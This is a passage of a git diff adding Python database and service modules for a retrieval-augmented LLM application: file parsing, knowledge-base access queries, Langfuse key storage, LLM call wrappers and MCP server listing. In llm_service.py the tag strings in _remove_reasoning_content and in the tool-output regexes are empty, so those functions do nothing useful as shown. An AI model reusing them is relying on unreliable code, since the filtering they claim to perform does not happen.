STORAGE_IMPL.put(kb.id, thumbnail_location, img) + + doc = { + "id": doc_id, + "kb_id": kb.id, + "parser_id": self.get_parser(filetype, filename, kb.parser_id), + "pipeline_id": kb.pipeline_id, + "parser_config": kb.parser_config, + "created_by": user_id, + "type": filetype, + "name": filename, + "suffix": Path(filename).suffix.lstrip("."), + "location": location, + "size": len(blob), + "thumbnail": thumbnail_location, + } + DocumentService.insert(doc) + + FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id) + files.append((doc, blob)) + except Exception as e: + traceback.print_exc() + err.append(file.filename + ": " + str(e)) + + return err, files + + @staticmethod + async def parse_docs(file_objs, user_id): + exe = ThreadPoolExecutor(max_workers=12) + threads = [] + for file in file_objs: + # Check if file has async read method (UploadFile) + if hasattr(file, 'read') and hasattr(file.read, '__call__'): + try: + # Try to get the coroutine to check if it's async + read_result = file.read() + if hasattr(read_result, '__await__'): + # It's an async method, await it + blob = await read_result + else: + # It's a sync method + blob = read_result + except Exception: + # Fallback to sync read + blob = file.read() + else: + blob = file.read() + + threads.append(exe.submit(FileService.parse, file.filename, blob, False)) + + res = [] + for th in threads: + res.append(th.result()) + + return "\n\n".join(res) + + @staticmethod + def parse(filename, blob, img_base64=True, tenant_id=None): + from rag.app import audio, email, naive, picture, presentation + + def dummy(prog=None, msg=""): + pass + + FACTORY = {ParserType.PRESENTATION.value: presentation, ParserType.PICTURE.value: picture, ParserType.AUDIO.value: audio, ParserType.EMAIL.value: email} + parser_config = {"chunk_token_num": 16096, "delimiter": "\n!?;。；！？", "layout_recognize": "Plain Text"} + kwargs = {"lang": "English", "callback": dummy, "parser_config": parser_config, "from_page": 0, "to_page": 100000, "tenant_id": current_user.id if current_user else tenant_id} + file_type = filename_type(filename) + if img_base64 and file_type == FileType.VISUAL.value: + return GptV4.image2base64(blob) + cks = FACTORY.get(FileService.get_parser(filename_type(filename), filename, ""), naive).chunk(filename, blob, **kwargs) + return "\n".join([ck["content_with_weight"] for ck in cks]) + + @staticmethod + def get_parser(doc_type, filename, default): + if doc_type == FileType.VISUAL: + return ParserType.PICTURE.value + if doc_type == FileType.AURAL: + return ParserType.AUDIO.value + if re.search(r"\.(ppt|pptx|pages)$", filename): + return ParserType.PRESENTATION.value + if re.search(r"\.(msg|eml)$", filename): + return ParserType.EMAIL.value + return default + + @staticmethod + def get_blob(user_id, location): + bname = f"{user_id}-downloads" + return STORAGE_IMPL.get(bname, location) + + @staticmethod + def put_blob(user_id, location, blob): + bname = f"{user_id}-downloads" + return STORAGE_IMPL.put(bname, location, blob) diff --git a/api/db/services/knowledgebase_service.py b/api/db/services/knowledgebase_service.py new file mode 100644 index 0000000..492c245 --- /dev/null +++ b/api/db/services/knowledgebase_service.py @@ -0,0 +1,496 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from datetime import datetime + +from peewee import fn, JOIN + +from api.db import StatusEnum, TenantPermission +from api.db.db_models import DB, Document, Knowledgebase, User, UserTenant, UserCanvas +from api.db.services.common_service import CommonService +from api.utils import current_timestamp, datetime_format + + +class KnowledgebaseService(CommonService): + """Service class for managing knowledge base operations. + + This class extends CommonService to provide specialized functionality for knowledge base + management, including document parsing status tracking, access control, and configuration + management. It handles operations such as listing, creating, updating, and deleting + knowledge bases, as well as managing their associated documents and permissions. + + The class implements a comprehensive set of methods for: + - Document parsing status verification + - Knowledge base access control + - Parser configuration management + - Tenant-based knowledge base organization + + Attributes: + model: The Knowledgebase model class for database operations. + """ + model = Knowledgebase + + @classmethod + @DB.connection_context() + def accessible4deletion(cls, kb_id, user_id): + """Check if a knowledge base can be deleted by a specific user. + + This method verifies whether a user has permission to delete a knowledge base + by checking if they are the creator of that knowledge base. + + Args: + kb_id (str): The unique identifier of the knowledge base to check. + user_id (str): The unique identifier of the user attempting the deletion. + + Returns: + bool: True if the user has permission to delete the knowledge base, + False if the user doesn't have permission or the knowledge base doesn't exist. + + Example: + >>> KnowledgebaseService.accessible4deletion("kb123", "user456") + True + + Note: + - This method only checks creator permissions + - A return value of False can mean either: + 1. The knowledge base doesn't exist + 2. The user is not the creator of the knowledge base + """ + # Check if a knowledge base can be deleted by a user + docs = cls.model.select( + cls.model.id).where(cls.model.id == kb_id, cls.model.created_by == user_id).paginate(0, 1) + docs = docs.dicts() + if not docs: + return False + return True + + @classmethod + @DB.connection_context() + def is_parsed_done(cls, kb_id): + # Check if all documents in the knowledge base have completed parsing + # + # Args: + # kb_id: Knowledge base ID + # + # Returns: + # If all documents are parsed successfully, returns (True, None) + # If any document is not fully parsed, returns (False, error_message) + from api.db import TaskStatus + from api.db.services.document_service import DocumentService + + # Get knowledge base information + kbs = cls.query(id=kb_id) + if not kbs: + return False, "Knowledge base not found" + kb = kbs[0] + + # Get all documents in the knowledge base + docs, _ = DocumentService.get_by_kb_id(kb_id, 1, 1000, "create_time", True, "", [], []) + + # Check parsing status of each document + for doc in docs: + # If document is being parsed, don't allow chat creation + if doc['run'] == TaskStatus.RUNNING.value or doc['run'] == TaskStatus.CANCEL.value or doc['run'] == TaskStatus.FAIL.value: + return False, f"Document '{doc['name']}' in dataset '{kb.name}' is still being parsed. Please wait until all documents are parsed before starting a chat." + # If document is not yet parsed and has no chunks, don't allow chat creation + if doc['run'] == TaskStatus.UNSTART.value and doc['chunk_num'] == 0: + return False, f"Document '{doc['name']}' in dataset '{kb.name}' has not been parsed yet. Please parse all documents before starting a chat." + + return True, None + + @classmethod + @DB.connection_context() + def list_documents_by_ids(cls, kb_ids): + # Get document IDs associated with given knowledge base IDs + # Args: + # kb_ids: List of knowledge base IDs + # Returns: + # List of document IDs + doc_ids = cls.model.select(Document.id.alias("document_id")).join(Document, on=(cls.model.id == Document.kb_id)).where( + cls.model.id.in_(kb_ids) + ) + doc_ids = list(doc_ids.dicts()) + doc_ids = [doc["document_id"] for doc in doc_ids] + return doc_ids + + @classmethod + @DB.connection_context() + def get_by_tenant_ids(cls, joined_tenant_ids, user_id, + page_number, items_per_page, + orderby, desc, keywords, + parser_id=None + ): + # Get knowledge bases by tenant IDs with pagination and filtering + # Args: + # joined_tenant_ids: List of tenant IDs + # user_id: Current user ID + # page_number: Page number for pagination + # items_per_page: Number of items per page + # orderby: Field to order by + # desc: Boolean indicating descending order + # keywords: Search keywords + # parser_id: Optional parser ID filter + # Returns: + # Tuple of (knowledge_base_list, total_count) + fields = [ + cls.model.id, + cls.model.avatar, + cls.model.name, + cls.model.language, + cls.model.description, + cls.model.tenant_id, + cls.model.permission, + cls.model.doc_num, + cls.model.token_num, + cls.model.chunk_num, + cls.model.parser_id, + cls.model.embd_id, + User.nickname, + User.avatar.alias('tenant_avatar'), + cls.model.update_time + ] + if keywords: + kbs = cls.model.select(*fields).join(User, on=(cls.model.tenant_id == User.id)).where( + ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission == + TenantPermission.TEAM.value)) | ( + cls.model.tenant_id == user_id)) + & (cls.model.status == StatusEnum.VALID.value), + (fn.LOWER(cls.model.name).contains(keywords.lower())) + ) + else: + kbs = cls.model.select(*fields).join(User, on=(cls.model.tenant_id == User.id)).where( + ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission == + TenantPermission.TEAM.value)) | ( + cls.model.tenant_id == user_id)) + & (cls.model.status == StatusEnum.VALID.value) + ) + if parser_id: + kbs = kbs.where(cls.model.parser_id == parser_id) + if desc: + kbs = kbs.order_by(cls.model.getter_by(orderby).desc()) + else: + kbs = kbs.order_by(cls.model.getter_by(orderby).asc()) + + count = kbs.count() + + if page_number and items_per_page: + kbs = kbs.paginate(page_number, items_per_page) + + return list(kbs.dicts()), count + + @classmethod + @DB.connection_context() + def get_all_kb_by_tenant_ids(cls, tenant_ids, user_id): + # will get all permitted kb, be cautious. + fields = [ + cls.model.name, + cls.model.language, + cls.model.permission, + cls.model.doc_num, + cls.model.token_num, + cls.model.chunk_num, + cls.model.status, + cls.model.create_date, + cls.model.update_date + ] + # find team kb and owned kb + kbs = cls.model.select(*fields).where( + (cls.model.tenant_id.in_(tenant_ids) & (cls.model.permission ==TenantPermission.TEAM.value)) | ( + cls.model.tenant_id == user_id + ) + ) + # sort by create_time asc + kbs.order_by(cls.model.create_time.asc()) + # maybe cause slow query by deep paginate, optimize later. + offset, limit = 0, 50 + res = [] + while True: + kb_batch = kbs.offset(offset).limit(limit) + _temp = list(kb_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + + @classmethod + @DB.connection_context() + def get_kb_ids(cls, tenant_id): + # Get all knowledge base IDs for a tenant + # Args: + # tenant_id: Tenant ID + # Returns: + # List of knowledge base IDs + fields = [ + cls.model.id, + ] + kbs = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id) + kb_ids = [kb.id for kb in kbs] + return kb_ids + + @classmethod + @DB.connection_context() + def get_detail(cls, kb_id): + # Get detailed information about a knowledge base + # Args: + # kb_id: Knowledge base ID + # Returns: + # Dictionary containing knowledge base details + fields = [ + cls.model.id, + cls.model.embd_id, + cls.model.avatar, + cls.model.name, + cls.model.language, + cls.model.description, + cls.model.permission, + cls.model.doc_num, + cls.model.token_num, + cls.model.chunk_num, + cls.model.parser_id, + cls.model.pipeline_id, + UserCanvas.title.alias("pipeline_name"), + UserCanvas.avatar.alias("pipeline_avatar"), + cls.model.parser_config, + cls.model.pagerank, + cls.model.graphrag_task_id, + cls.model.graphrag_task_finish_at, + cls.model.raptor_task_id, + cls.model.raptor_task_finish_at, + cls.model.mindmap_task_id, + cls.model.mindmap_task_finish_at, + cls.model.create_time, + cls.model.update_time + ] + kbs = cls.model.select(*fields)\ + .join(UserCanvas, on=(cls.model.pipeline_id == UserCanvas.id), join_type=JOIN.LEFT_OUTER)\ + .where( + (cls.model.id == kb_id), + (cls.model.status == StatusEnum.VALID.value) + ).dicts() + if not kbs: + return + return kbs[0] + + @classmethod + @DB.connection_context() + def update_parser_config(cls, id, config): + # Update parser configuration for a knowledge base + # Args: + # id: Knowledge base ID + # config: New parser configuration + e, m = cls.get_by_id(id) + if not e: + raise LookupError(f"knowledgebase({id}) not found.") + + def dfs_update(old, new): + # Deep update of nested configuration + for k, v in new.items(): + if k not in old: + old[k] = v + continue + if isinstance(v, dict): + assert isinstance(old[k], dict) + dfs_update(old[k], v) + elif isinstance(v, list): + assert isinstance(old[k], list) + old[k] = list(set(old[k] + v)) + else: + old[k] = v + + dfs_update(m.parser_config, config) + cls.update_by_id(id, {"parser_config": m.parser_config}) + + @classmethod + @DB.connection_context() + def delete_field_map(cls, id): + e, m = cls.get_by_id(id) + if not e: + raise LookupError(f"knowledgebase({id}) not found.") + + m.parser_config.pop("field_map", None) + cls.update_by_id(id, {"parser_config": m.parser_config}) + + @classmethod + @DB.connection_context() + def get_field_map(cls, ids): + # Get field mappings for knowledge bases + # Args: + # ids: List of knowledge base IDs + # Returns: + # Dictionary of field mappings + conf = {} + for k in cls.get_by_ids(ids): + if k.parser_config and "field_map" in k.parser_config: + conf.update(k.parser_config["field_map"]) + return conf + + @classmethod + @DB.connection_context() + def get_by_name(cls, kb_name, tenant_id): + # Get knowledge base by name and tenant ID + # Args: + # kb_name: Knowledge base name + # tenant_id: Tenant ID + # Returns: + # Tuple of (exists, knowledge_base) + kb = cls.model.select().where( + (cls.model.name == kb_name) + & (cls.model.tenant_id == tenant_id) + & (cls.model.status == StatusEnum.VALID.value) + ) + if kb: + return True, kb[0] + return False, None + + @classmethod + @DB.connection_context() + def get_all_ids(cls): + # Get all knowledge base IDs + # Returns: + # List of all knowledge base IDs + return [m["id"] for m in cls.model.select(cls.model.id).dicts()] + + @classmethod + @DB.connection_context() + def get_list(cls, joined_tenant_ids, user_id, + page_number, items_per_page, orderby, desc, id, name): + # Get list of knowledge bases with filtering and pagination + # Args: + # joined_tenant_ids: List of tenant IDs + # user_id: Current user ID + # page_number: Page number for pagination + # items_per_page: Number of items per page + # orderby: Field to order by + # desc: Boolean indicating descending order + # id: Optional ID filter + # name: Optional name filter + # Returns: + # List of knowledge bases + kbs = cls.model.select() + if id: + kbs = kbs.where(cls.model.id == id) + if name: + kbs = kbs.where(cls.model.name == name) + kbs = kbs.where( + ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission == + TenantPermission.TEAM.value)) | ( + cls.model.tenant_id == user_id)) + & (cls.model.status == StatusEnum.VALID.value) + ) + if desc: + kbs = kbs.order_by(cls.model.getter_by(orderby).desc()) + else: + kbs = kbs.order_by(cls.model.getter_by(orderby).asc()) + + kbs = kbs.paginate(page_number, items_per_page) + + return list(kbs.dicts()) + + @classmethod + @DB.connection_context() + def accessible(cls, kb_id, user_id): + # Check if a knowledge base is accessible by a user + # Args: + # kb_id: Knowledge base ID + # user_id: User ID + # Returns: + # Boolean indicating accessibility + docs = cls.model.select( + cls.model.id).join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id) + ).where(cls.model.id == kb_id, UserTenant.user_id == user_id).paginate(0, 1) + docs = docs.dicts() + if not docs: + return False + return True + + @classmethod + @DB.connection_context() + def get_kb_by_id(cls, kb_id, user_id): + # Get knowledge base by ID and user ID + # Args: + # kb_id: Knowledge base ID + # user_id: User ID + # Returns: + # List containing knowledge base information + kbs = cls.model.select().join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id) + ).where(cls.model.id == kb_id, UserTenant.user_id == user_id).paginate(0, 1) + kbs = kbs.dicts() + return list(kbs) + + @classmethod + @DB.connection_context() + def get_kb_by_name(cls, kb_name, user_id): + # Get knowledge base by name and user ID + # Args: + # kb_name: Knowledge base name + # user_id: User ID + # Returns: + # List containing knowledge base information + kbs = cls.model.select().join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id) + ).where(cls.model.name == kb_name, UserTenant.user_id == user_id).paginate(0, 1) + kbs = kbs.dicts() + return list(kbs) + + @classmethod + @DB.connection_context() + def atomic_increase_doc_num_by_id(cls, kb_id): + data = {} + data["update_time"] = current_timestamp() + data["update_date"] = datetime_format(datetime.now()) + data["doc_num"] = cls.model.doc_num + 1 + num = cls.model.update(data).where(cls.model.id == kb_id).execute() + return num + + @classmethod + @DB.connection_context() + def update_document_number_in_init(cls, kb_id, doc_num): + """ + Only use this function when init system + """ + ok, kb = cls.get_by_id(kb_id) + if not ok: + return + kb.doc_num = doc_num + + dirty_fields = kb.dirty_fields + if cls.model._meta.combined.get("update_time") in dirty_fields: + dirty_fields.remove(cls.model._meta.combined["update_time"]) + + if cls.model._meta.combined.get("update_date") in dirty_fields: + dirty_fields.remove(cls.model._meta.combined["update_date"]) + + try: + kb.save(only=dirty_fields) + except ValueError as e: + if str(e) == "no data to save!": + pass # that's OK + else: + raise e + + @classmethod + @DB.connection_context() + def decrease_document_num_in_delete(cls, kb_id, doc_num_info: dict): + kb_row = cls.model.get_by_id(kb_id) + if not kb_row: + raise RuntimeError(f"kb_id {kb_id} does not exist") + update_dict = { + 'doc_num': kb_row.doc_num - doc_num_info['doc_num'], + 'chunk_num': kb_row.chunk_num - doc_num_info['chunk_num'], + 'token_num': kb_row.token_num - doc_num_info['token_num'], + 'update_time': current_timestamp(), + 'update_date': datetime_format(datetime.now()) + } + return cls.model.update(update_dict).where(cls.model.id == kb_id).execute() diff --git a/api/db/services/langfuse_service.py b/api/db/services/langfuse_service.py new file mode 100644 index 0000000..6f46469 --- /dev/null +++ b/api/db/services/langfuse_service.py @@ -0,0 +1,76 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from datetime import datetime + +import peewee + +from api.db.db_models import DB, TenantLangfuse +from api.db.services.common_service import CommonService +from api.utils import current_timestamp, datetime_format + + +class TenantLangfuseService(CommonService): + """ + All methods that modify the status should be enclosed within a DB.atomic() context to ensure atomicity + and maintain data integrity in case of errors during execution. + """ + + model = TenantLangfuse + + @classmethod + @DB.connection_context() + def filter_by_tenant(cls, tenant_id): + fields = [cls.model.tenant_id, cls.model.host, cls.model.secret_key, cls.model.public_key] + try: + keys = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id).first() + return keys + except peewee.DoesNotExist: + return None + + @classmethod + @DB.connection_context() + def filter_by_tenant_with_info(cls, tenant_id): + fields = [cls.model.tenant_id, cls.model.host, cls.model.secret_key, cls.model.public_key] + try: + keys = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id).dicts().first() + return keys + except peewee.DoesNotExist: + return None + + @classmethod + @DB.connection_context() + def delete_ty_tenant_id(cls, tenant_id): + return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute() + + @classmethod + def update_by_tenant(cls, tenant_id, langfuse_keys): + langfuse_keys["update_time"] = current_timestamp() + langfuse_keys["update_date"] = datetime_format(datetime.now()) + return cls.model.update(**langfuse_keys).where(cls.model.tenant_id == tenant_id).execute() + + @classmethod + def save(cls, **kwargs): + kwargs["create_time"] = current_timestamp() + kwargs["create_date"] = datetime_format(datetime.now()) + kwargs["update_time"] = current_timestamp() + kwargs["update_date"] = datetime_format(datetime.now()) + obj = cls.model.create(**kwargs) + return obj + + @classmethod + def delete_model(cls, langfuse_model): + langfuse_model.delete_instance() diff --git a/api/db/services/llm_service.py b/api/db/services/llm_service.py new file mode 100644 index 0000000..76c4cb4 --- /dev/null +++ b/api/db/services/llm_service.py @@ -0,0 +1,279 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import inspect +import logging +import re +from functools import partial +from typing import Generator +from api.db.db_models import LLM +from api.db.services.common_service import CommonService +from api.db.services.tenant_llm_service import LLM4Tenant, TenantLLMService + + +class LLMService(CommonService): + model = LLM + + +def get_init_tenant_llm(user_id): + from api import settings + tenant_llm = [] + + seen = set() + factory_configs = [] + for factory_config in [ + settings.CHAT_CFG, + settings.EMBEDDING_CFG, + settings.ASR_CFG, + settings.IMAGE2TEXT_CFG, + settings.RERANK_CFG, + ]: + factory_name = factory_config["factory"] + if factory_name not in seen: + seen.add(factory_name) + factory_configs.append(factory_config) + + for factory_config in factory_configs: + for llm in LLMService.query(fid=factory_config["factory"]): + tenant_llm.append( + { + "tenant_id": user_id, + "llm_factory": factory_config["factory"], + "llm_name": llm.llm_name, + "model_type": llm.model_type, + "api_key": factory_config["api_key"], + "api_base": factory_config["base_url"], + "max_tokens": llm.max_tokens if llm.max_tokens else 8192, + } + ) + + if settings.LIGHTEN != 1: + for buildin_embedding_model in settings.BUILTIN_EMBEDDING_MODELS: + mdlnm, fid = TenantLLMService.split_model_name_and_factory(buildin_embedding_model) + tenant_llm.append( + { + "tenant_id": user_id, + "llm_factory": fid, + "llm_name": mdlnm, + "model_type": "embedding", + "api_key": "", + "api_base": "", + "max_tokens": 1024 if buildin_embedding_model == "BAAI/bge-large-zh-v1.5@BAAI" else 512, + } + ) + + unique = {} + for item in tenant_llm: + key = (item["tenant_id"], item["llm_factory"], item["llm_name"]) + if key not in unique: + unique[key] = item + return list(unique.values()) + + +class LLMBundle(LLM4Tenant): + def __init__(self, tenant_id, llm_type, llm_name=None, lang="Chinese", **kwargs): + super().__init__(tenant_id, llm_type, llm_name, lang, **kwargs) + + def bind_tools(self, toolcall_session, tools): + if not self.is_tools: + logging.warning(f"Model {self.llm_name} does not support tool call, but you have assigned one or more tools to it!") + return + self.mdl.bind_tools(toolcall_session, tools) + + def encode(self, texts: list): + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="encode", model=self.llm_name, input={"texts": texts}) + + embeddings, used_tokens = self.mdl.encode(texts) + llm_name = getattr(self, "llm_name", None) + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens, llm_name): + logging.error("LLMBundle.encode can't update token usage for {}/EMBEDDING used_tokens: {}".format(self.tenant_id, used_tokens)) + + if self.langfuse: + generation.update(usage_details={"total_tokens": used_tokens}) + generation.end() + + return embeddings, used_tokens + + def encode_queries(self, query: str): + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="encode_queries", model=self.llm_name, input={"query": query}) + + emd, used_tokens = self.mdl.encode_queries(query) + llm_name = getattr(self, "llm_name", None) + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens, llm_name): + logging.error("LLMBundle.encode_queries can't update token usage for {}/EMBEDDING used_tokens: {}".format(self.tenant_id, used_tokens)) + + if self.langfuse: + generation.update(usage_details={"total_tokens": used_tokens}) + generation.end() + + return emd, used_tokens + + def similarity(self, query: str, texts: list): + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="similarity", model=self.llm_name, input={"query": query, "texts": texts}) + + sim, used_tokens = self.mdl.similarity(query, texts) + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens): + logging.error("LLMBundle.similarity can't update token usage for {}/RERANK used_tokens: {}".format(self.tenant_id, used_tokens)) + + if self.langfuse: + generation.update(usage_details={"total_tokens": used_tokens}) + generation.end() + + return sim, used_tokens + + def describe(self, image, max_tokens=300): + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="describe", metadata={"model": self.llm_name}) + + txt, used_tokens = self.mdl.describe(image) + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens): + logging.error("LLMBundle.describe can't update token usage for {}/IMAGE2TEXT used_tokens: {}".format(self.tenant_id, used_tokens)) + + if self.langfuse: + generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens}) + generation.end() + + return txt + + def describe_with_prompt(self, image, prompt): + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="describe_with_prompt", metadata={"model": self.llm_name, "prompt": prompt}) + + txt, used_tokens = self.mdl.describe_with_prompt(image, prompt) + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens): + logging.error("LLMBundle.describe can't update token usage for {}/IMAGE2TEXT used_tokens: {}".format(self.tenant_id, used_tokens)) + + if self.langfuse: + generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens}) + generation.end() + + return txt + + def transcription(self, audio): + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="transcription", metadata={"model": self.llm_name}) + + txt, used_tokens = self.mdl.transcription(audio) + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens): + logging.error("LLMBundle.transcription can't update token usage for {}/SEQUENCE2TXT used_tokens: {}".format(self.tenant_id, used_tokens)) + + if self.langfuse: + generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens}) + generation.end() + + return txt + + def tts(self, text: str) -> Generator[bytes, None, None]: + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="tts", input={"text": text}) + + for chunk in self.mdl.tts(text): + if isinstance(chunk, int): + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, chunk, self.llm_name): + logging.error("LLMBundle.tts can't update token usage for {}/TTS".format(self.tenant_id)) + return + yield chunk + + if self.langfuse: + generation.end() + + def _remove_reasoning_content(self, txt: str) -> str: + first_think_start = txt.find("") + if first_think_start == -1: + return txt + + last_think_end = txt.rfind("") + if last_think_end == -1: + return txt + + if last_think_end < first_think_start: + return txt + + return txt[last_think_end + len("") :] + + @staticmethod + def _clean_param(chat_partial, **kwargs): + func = chat_partial.func + sig = inspect.signature(func) + keyword_args = [] + support_var_args = False + for param in sig.parameters.values(): + if param.kind == inspect.Parameter.VAR_KEYWORD or param.kind == inspect.Parameter.VAR_POSITIONAL: + support_var_args = True + elif param.kind == inspect.Parameter.KEYWORD_ONLY: + keyword_args.append(param.name) + + use_kwargs = kwargs + if not support_var_args: + use_kwargs = {k: v for k, v in kwargs.items() if k in keyword_args} + return use_kwargs + + def chat(self, system: str, history: list, gen_conf: dict = {}, **kwargs) -> str: + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="chat", model=self.llm_name, input={"system": system, "history": history}) + + chat_partial = partial(self.mdl.chat, system, history, gen_conf) + if self.is_tools and self.mdl.is_tools: + chat_partial = partial(self.mdl.chat_with_tools, system, history, gen_conf) + + use_kwargs = self._clean_param(chat_partial, **kwargs) + txt, used_tokens = chat_partial(**use_kwargs) + txt = self._remove_reasoning_content(txt) + + if not self.verbose_tool_use: + txt = re.sub(r".*?", "", txt, flags=re.DOTALL) + + if isinstance(txt, int) and not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens, self.llm_name): + logging.error("LLMBundle.chat can't update token usage for {}/CHAT llm_name: {}, used_tokens: {}".format(self.tenant_id, self.llm_name, used_tokens)) + + if self.langfuse: + generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens}) + generation.end() + + return txt + + def chat_streamly(self, system: str, history: list, gen_conf: dict = {}, **kwargs): + if self.langfuse: + generation = self.langfuse.start_generation(trace_context=self.trace_context, name="chat_streamly", model=self.llm_name, input={"system": system, "history": history}) + + ans = "" + chat_partial = partial(self.mdl.chat_streamly, system, history, gen_conf) + total_tokens = 0 + if self.is_tools and self.mdl.is_tools: + chat_partial = partial(self.mdl.chat_streamly_with_tools, system, history, gen_conf) + use_kwargs = self._clean_param(chat_partial, **kwargs) + for txt in chat_partial(**use_kwargs): + if isinstance(txt, int): + total_tokens = txt + if self.langfuse: + generation.update(output={"output": ans}) + generation.end() + break + + if txt.endswith(""): + ans = ans.rstrip("") + + if not self.verbose_tool_use: + txt = re.sub(r".*?", "", txt, flags=re.DOTALL) + + ans += txt + yield ans + + if total_tokens > 0: + if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, txt, self.llm_name): + logging.error("LLMBundle.chat_streamly can't update token usage for {}/CHAT llm_name: {}, content: {}".format(self.tenant_id, self.llm_name, txt)) diff --git a/api/db/services/mcp_server_service.py b/api/db/services/mcp_server_service.py new file mode 100644 index 0000000..101555f --- /dev/null +++ b/api/db/services/mcp_server_service.py @@ -0,0 +1,91 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from peewee import fn + +from api.db.db_models import DB, MCPServer +from api.db.services.common_service import CommonService + + +class MCPServerService(CommonService): + """Service class for managing MCP server related database operations. + + This class extends CommonService to provide specialized functionality for MCP server management, + including MCP server creation, updates, and deletions. + + Attributes: + model: The MCPServer model class for database operations. + """ + + model = MCPServer + + @classmethod + @DB.connection_context() + def get_servers(cls, tenant_id: str, id_list: list[str] | None, page_number, items_per_page, orderby, desc, keywords): + """Retrieve all MCP servers associated with a tenant. + + This method fetches all MCP servers for a given tenant, ordered by creation time. + It only includes fields for list display. + + Args: + tenant_id (str): The unique identifier of the tenant. + id_list (list[str]): Get servers by ID list. Will ignore this condition if None. + + Returns: + list[dict]: List of MCP server dictionaries containing MCP server details. + Returns None if no MCP servers are found. + """ + fields = [ + cls.model.id, + cls.model.name, + cls.model.server_type, + cls.model.url, + cls.model.description, + cls.model.variables, + cls.model.create_date, + cls.model.update_date, + ] + + query = cls.model.select(*fields).order_by(cls.model.create_time.desc()).where(cls.model.tenant_id == tenant_id) + + if id_list: + query = query.where(cls.model.id.in_(id_list)) + if keywords: + query = query.where(fn.LOWER(cls.model.name).contains(keywords.lower())) + if desc: + query = query.order_by(cls.model.getter_by(orderby).desc()) + else: + query = query.order_by(cls.model.getter_by(orderby).asc()) + if page_number and items_per_page: + query = query.paginate(page_number, items_per_page) + + servers = list(query.dicts()) + if not servers: + return None + return servers + + @classmethod + @DB.connection_context() + def get_by_name_and_tenant(cls, name: str, tenant_id: str): + try: + mcp_server = cls.model.query(name=name, tenant_id=tenant_id) + return bool(mcp_server), mcp_server + except Exception: + return False, None + + @classmethod + @DB.connection_context() + def delete_by_tenant_id(cls, tenant_id: str): + return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute() diff --git a/api/db/services/pipeline_operation_log_service.py b/api/db/services/pipeline_operation_log_service.py new file mode 100644 index 0000000..7bfe56c --- /dev/null +++ b/api/db/services/pipeline_operation_log_service.py @@ -0,0 +1,263 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY 